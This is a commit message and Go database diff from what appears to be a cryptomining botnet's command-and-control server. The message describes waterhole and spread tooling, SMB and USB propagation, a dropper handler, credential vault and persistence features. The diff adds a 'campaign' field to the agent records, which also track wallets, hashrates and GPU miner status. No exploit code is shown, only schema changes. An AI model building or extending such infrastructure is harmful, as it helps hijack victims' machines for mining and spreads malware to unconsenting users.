feat: Emberwake, Crucible phases, Linux agent, musical dashboard, e2e

Emberwake spread/waterhole UI, campaign DB, spread handler, spread-kit web publisher, and SPREAD_TECHNIQUES doc. Crucible Phase A-C: expanded ops, port-forward matrix, remote dir browser, crucible help/tests.

Linux agent hardening: credential vault, persistence audit, firewall/defender deploy, SMB spread status, CPU stats, screenshots/crypt/file-ops split. Docker compose and agent/server images with e2e validation script and docs.

Musical dashboard: ambient music player, hover SFX, SoundContext/AmbientMusicContext, steampunk polish. Public builds API, dropper handler updates, SessionGate and fleet UX. README and PROBLEMS.md refresh.

server/internal/db/agent_meta.go

@@ -43,7 +43,7 @@ func (d *Database) scanAgent(row interface {
 		&a.SharesTotal, &a.SharesGood, &a.SharesBad,
 		&a.CPUUsagePct, &a.MemoryUsagePct, &a.UptimeSeconds,
 		&notes, &tagsRaw, &a.Platform, &a.Arch, &a.OSVersion, &a.Hostname, &a.MacAddress,
-		&a.BuildID, &a.WorkerName, &usbSpread,
+		&a.BuildID, &a.WorkerName, &usbSpread, &a.Campaign,
 		&a.GPUHashrate15m, &a.GPUModel, &gpuMinerActive,
 	)
 	if err != nil {
@@ -62,7 +62,7 @@ func (d *Database) scanAgent(row interface {
 const agentSelectCols = `id, name, wallet, ip, version, status, cpu_cores, memory_gb, last_seen, created_at,
 		hashrate_15s, hashrate_1m, hashrate_15m, shares_total, shares_good, shares_bad,
 		cpu_usage_pct, memory_usage_pct, uptime_seconds, notes, tags, platform, arch, os_version, hostname, mac_address,
-		build_id, worker_name, usb_spread, gpu_hashrate_15m, gpu_model, gpu_miner_active`
+		build_id, worker_name, usb_spread, campaign, gpu_hashrate_15m, gpu_model, gpu_miner_active`
 
 func (d *Database) UpdateAgentMeta(id, notes string, tags []string) error {
 	_, err := d.Exec(`UPDATE agents SET notes = ?, tags = ? WHERE id = ?`, notes, encodeTags(tags), id)